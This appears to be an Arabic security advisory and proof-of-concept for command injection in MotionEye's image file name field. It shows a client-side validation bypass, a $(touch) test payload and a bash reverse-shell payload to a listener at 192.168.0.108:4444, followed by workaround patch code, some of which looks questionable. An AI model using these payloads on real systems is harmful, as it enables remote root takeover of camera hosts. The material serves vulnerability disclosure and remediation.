
خطوات PoC لهذه الثغرة الأمنية
أثناء اختبار الأمان لمثيل MotionEye يعمل داخل Docker، لوحظ أنه يمكن تجاوز التحقق من صحة جانب العميل داخل واجهة الويب. وهذا يسمح بإرسال مدخلات عشوائية، بما في ذلك حمولات يمكن أن تؤدي إلى تنفيذ أوامر على الحاوية المضيفة. تمثل هذه المشكلة خطر تنفيذ التعليمات البرمجية عن بُعد (RCE) إذا تم استغلالها.
الإصدارات المتأثرة: جميع الإصدارات حتى 0.43.1b4 وما يشملها
حالة التصحيح: لا يوجد تصحيح متاح بعد. تم تقديم حل بديل في هذه النشرة الأمنية.
مرجع المشروع: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 معرّف إلى منفذ الحاوية 8765admin / كلمة مرور فارغة (افتراضية)قم بتشغيل الأمر التالي لبدء تنزيل صورة Docker وتشغيل الحاوية
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
النتيجة: خادم MotionEye 0.43.1b4

بمجرد تشغيل حاوية Docker، يمكن الوصول إلى قشرة الحاوية باستخدام الأوامر التالية
docker exec -it motioneye /bin/bash
ls -la /tmp

الوصول إلى واجهة الويب على:
http://127.0.0.1:9999
تسجيل الدخول: admin (كلمة مرور فارغة)
تمت إضافة كاميرا شبكة RTSP تجريبية.

تم إدخال أمر تنفيذ خبيث في حقل "الصور الثابتة" > "اسم ملف الصورة"، ولكن تمت مواجهة خطأ في التحقق من صحة جانب العميل.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
تم حظره بواسطة التحقق من صحة جانب العميل.


البرنامج النصي التالي مسؤول عن التحقق: /static/js/main.js?v=0.43.1b4، والذي يشير إلى /static/js/ui.js?v=0.43.1b4 لتنفيذ شروط التحقق.
الملف: /static/js/main.js?v=0.43.1b4 يشير إلى /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
من خلال تجاوز دالة configUiValid في وحدة تحكم المتصفح، يمكن تخطي جميع فحوصات التحقق: أدخل المقتطف أدناه في وحدة تحكم المتصفح (F12 أو Ctrl+Shift+I)
configUiValid = function() {
return true;
};

الآن يمكن إدخال الحمولة مباشرة دون أي تحقق: اضبط كما هو موضح أدناه وطبّق الإعدادات
الإعدادات:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

تم التطبيق ← تم إنشاء الملف بصلاحيات الجذر (root).

إنتاج قشرة عكسية بسيطة:
المستمع:
nc -lvnp 4444

الحمولة المحقونة:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

النتيجة: تم الحصول على قشرة عن بُعد.
MotionEye عرضة للثغرة لأنه يأخذ مدخلات المستخدم من لوحة الويب ويكتبها مباشرةً في ملفات إعدادات Motion دون التحقق من وجود أحرف خطرة. على سبيل المثال، يُرسل الحقل image_file_name في الواجهة إلى الخلفية (config.py) ويُحفظ في /etc/motioneye/camera-.conf. عندما يعيد MotionEye تشغيل خدمة Motion (motionctl.start)، تقرأ عملية Motion ملف الإعدادات هذا. إذا كان حقل picture_filename يحتوي على صيغة قشرة مثل $(touch /tmp/test)، ستنفذه Motion كأمر حقيقي بدلاً من معاملته كجزء من اسم الملف.
مدخلات غير منقّاة تُكتب في ملفات إعدادات Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload
الملف: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value

تطبيق التنقية:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
قبل:
بعد:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
الأصلي:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
استبدل بـ:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

داخل motion_camera_ui_to_dict(...):
الأصلي:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
استبدل بـ:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')